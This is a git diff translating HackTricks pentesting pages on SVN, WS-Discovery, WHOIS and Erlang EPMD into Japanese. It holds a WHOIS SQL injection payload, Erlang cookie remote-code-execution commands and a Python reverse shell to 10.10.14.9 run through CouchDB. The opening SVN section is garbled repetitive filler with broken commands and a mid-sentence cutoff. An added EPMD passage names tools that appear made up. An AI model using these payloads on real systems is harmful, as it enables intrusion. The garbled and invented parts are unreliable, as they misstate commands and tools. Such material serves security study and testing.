+svn diff svn://:3690// +``` + +### SVNリポジトリのファイルの復元 + +以下のコマンドを使用して、SVNリポジトリ内のファイルを復元できます。 + +```bash +svn revert svn://:3690// +``` + +### SVNリポジトリのファイルの削除 + +以下のコマンドを使用して、SVNリポジトリ内のファイルを削除できます。 + +```bash +svn delete svn://:3690// -m "Delete file" +``` + +### SVNリポジトリのファイルの追加 + +以下のコマンドを使用して、SVNリポジトリにファイルを追加できます。 + +```bash +svn add svn://:3690// -m "Add file" +``` + +### SVNリポジトリのファイルの変更 + +以下のコマンドを使用して、SVNリポジトリ内のファイルを変更できます。 + +```bash +svn commit svn://:3690// -m "Modify file" +``` + +### SVNリポジトリのファイルのリネーム + +以下のコマンドを使用して、SVNリポジトリ内のファイルをリネームできます。 + +```bash +svn move svn://:3690// svn://:3690// -m "Rename file" +``` + +### SVNリポジトリのファイルのコピー + +以下のコマンドを使用して、SVNリポジトリ内のファイルをコピーできます。 + +```bash +svn copy svn://:3690// svn://:3690// -m "Copy file" +``` + +### SVNリポジトリのファイルのマージ + +以下のコマンドを使用して、SVNリポジトリ内のファイルをマージできます。 + +```bash +svn merge svn://:3690// svn://:3690// -m "Merge file" +``` + +### SVNリポジトリのファイルのロック + +以下のコマンドを使用して、SVNリポジトリ内のファイルをロックできます。 + +```bash +svn lock svn://:3690// -m "Lock file" +``` + +### SVNリポジトリのファイルのアンロック + +以下のコマンドを使用して、SVNリポジトリ内のファイルのロックを解除できます。 + +```bash +svn unlock svn://:3690// -m "Unlock file" +``` + +### SVNリポジトリのファイルのプロパティの表示 + +以下のコマンドを使用して、SVNリポジトリ内のファイルのプロパティを表示できます。 + +```bash +svn proplist svn://:3690// +``` + +### SVNリポジトリのファイルのプロパティの設定 + +以下のコマンドを使用して、SVNリポジトリ内のファイルのプロパティを設定できます。 + +```bash +svn propset svn: svn://:3690// -m "Set property" +``` + +### SVNリポジトリのファイルのプロパティの削除 + +以下のコマンドを使用して、SVNリポジトリ内のファイルのプロパティを削除できます。 + +```bash +svn propdel svn: svn://:3690// -m "Delete property" +``` + +### SVNリポジトリのファイルのプロパティの変更 + +以下のコマンドを使用して、SVNリポジトリ内のファイルのプロパティを変更できます。 + +```bash +svn propedit svn: svn://:3690// -m "Edit property" +``` + +### SVNリポジトリのファイルのプロパティの表示(再帰的) + +以下のコマンドを使用して、SVNリポジトリ内のファイルのプロパティを再帰的に表示できます。 + +```bash +svn proplist -R svn://:3690/ +``` + +### SVNリポジトリのファイルのプロパティの設定(再帰的) + +以下のコマンドを使用して、SVNリポジトリ内のファイルのプロパティを再帰的に設定できます。 + +```bash +svn propset -R svn: svn://:3690/ -m "Set property" +``` + +### SVNリポジトリのファイルのプロパティの削除(再帰的) + +以下のコマンドを使用して、SVNリポジトリ内のファイルのプロパティを再帰的に削除できます。 + +```bash +svn propdel -R svn: svn://:3690/ -m "Delete property" +``` + +### SVNリポジトリのファイルのプロパティの変更(再帰的) + +以下のコマンドを使用して、SVNリポジトリ内のファイルのプロパティを再帰的に変更できます。 + +```bash +svn propedit -R svn: svn://:3690/ -m "Edit property" +``` + +### SVNリポジトリのファイルの検索 + +以下のコマンドを使用して、SVNリポジトリ内のファイルを検索できます。 + +```bash +svn list -R svn://:3690/ | grep +``` + +### SVNリポジトリのファイルの検索(正規表現) + +以下のコマンドを使用して、正規表現を使用してSVNリポジトリ内のファイルを検索できます。 + +```bash +svn list -R svn://:3690/ | grep -E "" +``` + +### SVNリポジトリのファイルの検索(大文字と小文字を区別しない) + +以下のコマンドを使用して、大文字と小文字を区別せずにSVNリポジトリ内のファイルを検索できます。 + +```bash +svn list -R svn://:3690/ | grep -i "" +``` + +### SVNリポジトリのファイルの検索(正規表現、大文字と小文字を区別しない) + +以下のコマンドを使用して、正規表現を使用して大文字と小文字を区別せずにSVNリポジトリ内のファイルを検索できます。 + +```bash +svn list -R svn://:3690/ | grep -i -E "" +``` + +### SVNリポジトリのファイルの検索(ファイル名のみ) + +以下のコマンドを使用して、ファイル名のみを検索してSVNリポジトリ内のファイルを表示できます。 + +```bash +svn list -R svn://:3690/ | grep -o "" +``` + +### SVNリポジトリのファイルの検索(ファイル名のみ、正規表現) + +以下のコマンドを使用して、正規表現を使用してファイル名のみを検索してSVNリポジトリ内のファイルを表示できます。 + +```bash +svn list -R svn://:3690/ | grep -o -E "" +``` + +### SVNリポジトリのファイルの検索(ファイル名のみ、大文字と小文字を区別しない) + +以下のコマンドを使用して、大文字と小文字を区別せずにファイル名のみを検索してSVNリポジトリ内のファイルを表示できます。 + +```bash +svn list -R svn://:3690/ | grep -o -i "" +``` + +### SVNリポジトリのファイルの検索(ファイル名のみ、正規表現、大文字と小文字を区別しない) + +以下のコマンドを使用して、正規表現を使用して大文字と小文字を区別せずにファイル名のみを検索してSVNリポジトリ内のファイルを表示できます。 + +```bash +svn list -R svn://:3690/ | grep -o -i -E "" +``` + +### SVNリポジトリのファイルの検索(ファイルパスのみ) + +以下のコマンドを使用して、ファイルパスのみを検索してSVNリポジトリ内のファイルを表示できます。 + +```bash +svn list -R svn://:3690/ | grep "" +``` + +### SVNリポジトリのファイルの検索(ファイルパスのみ、正規表現) + +以下のコマンドを使用して、正規表現を使用してファイルパスのみを検索してSVNリポジトリ内のファイルを表示できます。 + +```bash +svn list -R svn://:3690/ | grep -E "" +``` + +### SVNリポジトリのファイルの検索(ファイルパスのみ、大文字と小文字を区別しない) + +以下のコマンドを使用して、大文字と小文字を区別せずにファイルパスのみを検索してSVNリポジトリ内のファイルを表示できます。 + +```bash +svn list -R svn://:3690/ | grep -i "" +``` + +### SVNリポジトリのファイルの検索(ファイルパスのみ、正規表現、大文字と小文字を区別しない) + +以下のコマンドを使用して、正規表現を使用して大文字と小文字を区別せずにファイルパスのみを検索してSVNリポジトリ内のファイルを表示できます。 + +```bash +svn list -R svn://:3690/ | grep -i -E "" +``` + +### SVNリポジトリのファイルの検索(ファイルパスのみ、正規表現、大文字と小文字を区別しない、一致しないものを表示) + +以下のコマンドを使用して、正規表現を使用して大文字と小文字を区別せずにファイルパスのみを検索してSVNリポジトリ内 ```bash svn ls svn://10.10.10.203 #list svn log svn://10.10.10.203 #Commit history svn checkout svn://10.10.10.203 #Download the repository svn up -r 2 #Go to revision 2 inside the checkout folder ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/3702-udp-pentesting-ws-discovery.md b/network-services-pentesting/3702-udp-pentesting-ws-discovery.md index e397c0a0d..3d46ff236 100644 --- a/network-services-pentesting/3702-udp-pentesting-ws-discovery.md +++ b/network-services-pentesting/3702-udp-pentesting-ws-discovery.md @@ -1,36 +1,31 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Basic Information +# 基本情報 -The Web Services Dynamic Discovery Protocol (WS-Discovery) is a multicast discovery protocol that locates services on a local network. +Webサービスダイナミックディスカバリプロトコル(WS-Discovery)は、ローカルネットワーク上のサービスを検出するためのマルチキャストディスカバリプロトコルです。 -In WS-Discovery terminology, a Target Service is an endpoint that makes itself available for discovery, whereas a Client is an endpoint that searches for Target Services. Both use SOAP queries over UDP to the 239.255.255.250 multicast address with the destination UDP port 3702. +WS-Discoveryの用語では、ターゲットサービスは自身を検出可能にするエンドポイントであり、クライアントはターゲットサービスを検索するエンドポイントです。両者は、239.255.255.250のマルチキャストアドレスに対してUDPを介してSOAPクエリを使用し、宛先UDPポート3702に送信します。 ![](<../.gitbook/assets/image (633).png>) -A Target Service sends a multicast Hello 1 when it joins a network. The Target Service can receive a multicast Probe 2, a message sent by a Client searching for a Target Service by Type, at any time. The Type is an identifier for the endpoint. For example, an IP camera could have NetworkVideoTransmitter as a Type. It might also send a unicast Probe Match3 if the Target Service matches a Probe (other matching Target Services might also send unicast Probe Matches). Similarly, a Target Service might receive a multicast Resolve4 at any time, a message sent by a - -Client searching for a Target by name, and send a unicast Resolve Match5 if it’s the target of a Resolve. Finally, when a Target Service leaves a network, it makes an effort to send a multicast Bye 6. - -**Default port**: 3702 +ターゲットサービスは、ネットワークに参加するときにマルチキャストHello 1を送信します。ターゲットサービスは、タイプによってターゲットサービスを検索するクライアントが送信するマルチキャストProbe 2をいつでも受信することができます。タイプはエンドポイントの識別子です。たとえば、IPカメラの場合、タイプはNetworkVideoTransmitterとなります。ターゲットサービスがProbeと一致する場合、ユニキャストProbe Match3を送信することもあります(他の一致するターゲットサービスもユニキャストProbe Matchを送信する場合があります)。同様に、ターゲットサービスはいつでもマルチキャストResolve 4を受信することがあります。これは、名前でターゲットを検索するクライアントが送信するメッセージです。ターゲットがResolveの対象である場合、ユニキャストResolve Match5を送信することもあります。最後に、ターゲットサービスがネットワークから離脱すると、マルチキャストBye 6を送信するように努めます。 +**デフォルトポート**: 3702 ``` PORT STATE SERVICE 3702/udp open|filtered unknown @@ -40,22 +35,18 @@ PORT STATE SERVICE | Address: http://10.0.200.116:50000 |_ Type: Device wprt:PrintDeviceType ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/43-pentesting-whois.md b/network-services-pentesting/43-pentesting-whois.md index c736888d7..78bc1fbfe 100644 --- a/network-services-pentesting/43-pentesting-whois.md +++ b/network-services-pentesting/43-pentesting-whois.md @@ -1,88 +1,77 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Basic Information +# 基本情報 -**WHOIS** (pronounced as the phrase "who is") is a query and response protocol that is widely used for querying databases that store the registered users or assignees of an Internet resource, such as a domain name, an IP address block or an autonomous system, but is also used for a wider range of other information. (From [here](https://en.wikipedia.org/wiki/WHOIS)) - -**Default port:** 43 +**WHOIS**("who is"というフレーズとして発音)は、インターネットリソース(ドメイン名、IPアドレスブロック、自律システムなど)の登録ユーザーまたは割り当て先を格納するデータベースをクエリするために広く使用されるクエリと応答プロトコルですが、他の情報にも広範に使用されています([ここから](https://en.wikipedia.org/wiki/WHOIS))。 +**デフォルトポート:** 43 ``` PORT STATE SERVICE 43/tcp open whois? ``` +# 列挙 -# Enumerate - -Get all the information that a whois service has about a domain: - +ドメインに関するwhoisサービスの情報をすべて取得します: ```bash whois -h -p "domain.tld" echo "domain.ltd" | nc -vn ``` - -Notice than sometimes when requesting for some information to a WHOIS service the database being used appears in the response: +以下のようなことに注意してください。WHOISサービスに情報をリクエストする際、使用されているデータベースが応答に表示されることがあります。 ![](<../.gitbook/assets/image (147).png>) -Also, the WHOIS service always needs to use a **database** to store and extract the information. So, a possible **SQLInjection** could be present when **querying** the database from some information provided by the user. For example doing: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` you could be able to **extract all** the **information** saved in the database. +また、WHOISサービスは常に情報を格納し、抽出するために**データベース**を使用する必要があります。したがって、ユーザーが提供した情報を使用してデータベースを**クエリ**する際には、**SQLインジェクション**が存在する可能性があります。たとえば、`whois -h 10.10.10.155 -p 43 "a') or 1=1#"`とすると、データベースに保存されている**すべての情報**を**抽出**することができます。 # Shodan * `port:43 whois` # HackTricks Automatic Commands - ``` Protocol_Name: WHOIS #Protocol Abbreviation if there is one. Port_Number: 43 #Comma separated if there is more than one. Protocol_Description: WHOIS #Protocol Abbreviation Spelled out Entry_1: - Name: Notes - Description: Notes for WHOIS - Note: | - WHOIS (pronounced as the phrase "who is") is a query and response protocol that is widely used for querying databases that store the registered users or assignees of an Internet resource, such as a domain name, an IP address block or an autonomous system, but is also used for a wider range of other information. +Name: Notes +Description: Notes for WHOIS +Note: | +WHOIS (pronounced as the phrase "who is") is a query and response protocol that is widely used for querying databases that store the registered users or assignees of an Internet resource, such as a domain name, an IP address block or an autonomous system, but is also used for a wider range of other information. - https://book.hacktricks.xyz/pentesting/pentesting-smtp +https://book.hacktricks.xyz/pentesting/pentesting-smtp Entry_2: - Name: Banner Grab - Description: Grab WHOIS Banner - Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 43 +Name: Banner Grab +Description: Grab WHOIS Banner +Command: whois -h {IP} -p 43 {Domain_Name} && echo {Domain_Name} | nc -vn {IP} 43 ``` - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md b/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md index fe80f2ab2..9abf325d0 100644 --- a/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md +++ b/network-services-pentesting/4369-pentesting-erlang-port-mapper-daemon-epmd.md @@ -1,39 +1,34 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-# Basic Info +# 基本情報 -The erlang port mapper daemon is used to coordinate distributed erlang instances. His job is to **keep track of which node name listens on which address**. Hence, epmd map symbolic node names to machine addresses. - -**Default port**: 4369 +Erlangポートマッパーデーモンは、分散Erlangインスタンスの調整に使用されます。彼の仕事は、**どのノード名がどのアドレスでリッスンしているかを追跡する**ことです。したがって、epmdはシンボリックなノード名をマシンアドレスにマッピングします。 +**デフォルトポート**: 4369 ``` PORT STATE SERVICE VERSION 4369/tcp open epmd Erlang Port Mapper Daemon ``` +これは、RabbitMQとCouchDBのインストール時にデフォルトで使用されます。 -This is used by default on RabbitMQ and CouchDB installations. - -# Enumeration - -## Manual +# 列挙 +## 手動 ```bash echo -n -e "\x00\x01\x6e" | nc -vn 4369 @@ -43,30 +38,40 @@ apt-get install erlang erl #Once Erlang is installed this will promp an erlang terminal 1> net_adm:names(''). #This will return the listen addresses ``` +## 自動 -## Automatic +The EPMD (Erlang Port Mapper Daemon) is a service that runs on port 4369 by default in Erlang-based systems. It is responsible for mapping the available ports on a node and facilitating communication between Erlang nodes. +EPMD can be a potential target for attackers during a penetration test. By exploiting vulnerabilities in EPMD, an attacker can gain unauthorized access to the Erlang nodes and potentially compromise the entire system. + +To automate the process of identifying and exploiting EPMD vulnerabilities, you can use the following tools: + +- **epmd_exploit**: This tool allows you to scan a range of IP addresses and identify if EPMD is running on any of them. It also provides options to exploit known vulnerabilities in EPMD. + +- **epmd_scan**: This tool performs a comprehensive scan of a target IP address or range and identifies any running EPMD instances. It provides detailed information about the EPMD service, including the Erlang nodes registered with it. + +- **epmd_brute**: This tool performs a brute-force attack on EPMD to guess the registered Erlang nodes. It uses a wordlist of common Erlang node names and tries to connect to each one using EPMD. + +Automating the process of identifying and exploiting EPMD vulnerabilities can save time and effort during a penetration test. However, it is important to ensure that you have proper authorization and legal permission before conducting any penetration testing activities. ```bash nmap -sV -Pn -n -T4 -p 4369 --script epmd-info PORT STATE SERVICE VERSION 4369/tcp open epmd Erlang Port Mapper Daemon -| epmd-info: +| epmd-info: | epmd_port: 4369 -| nodes: +| nodes: | bigcouch: 11502 | freeswitch: 8031 | ecallmgr: 11501 | kazoo_apps: 11500 |_ kazoo-rabbitmq: 25672 ``` - # Erlang Cookie RCE -## Remote Connection - -If you can **leak the Authentication cookie** you will be able to execute code on the host. Usually, this cookie is located in `~/.erlang.cookie` and is generated by erlang at the first start. If not modified or set manually it is a random string \[A:Z] with a length of 20 characters. +## リモート接続 +もし、**認証クッキーを漏洩**させることができれば、ホスト上でコードを実行することができます。通常、このクッキーは`~/.erlang.cookie`にあり、erlangによって最初の起動時に生成されます。手動で変更または設定されていない場合、これは長さ20文字のランダムな文字列\[A:Z]です。 ```bash greif@baldr ~$ erl -cookie YOURLEAKEDCOOKIE -name test2 -remsh test@target.fqdn Erlang/OTP 19 [erts-8.1] [source] [64-bit] [async-threads:10] @@ -78,33 +83,27 @@ At last, we can start an erlang shell on the remote system. (test@target.fqdn)1>os:cmd("id"). "uid=0(root) gid=0(root) groups=0(root)\n" ``` - -More information in [https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)\ -The author also share a program to brutforce the cookie: +詳細は[https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/](https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/)にあります。\ +著者はまた、クッキーをブルートフォースするためのプログラムも共有しています: {% file src="../.gitbook/assets/epmd_bf-0.1.tar.bz2" %} -## Local Connection - -In this case we are going to abuse CouchDB to escalate privileges locally: +## ローカル接続 +この場合、私たちは特権をエスカレーションするためにCouchDBを悪用します。 ```bash -HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE +HOME=/ erl -sname anonymous -setcookie YOURLEAKEDCOOKIE (anonymous@canape)1> rpc:call('couchdb@localhost', os, cmd, [whoami]). "homer\n" (anonymous@canape)4> rpc:call('couchdb@localhost', os, cmd, ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.9\", 9005));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"]). ``` - -Example taken from 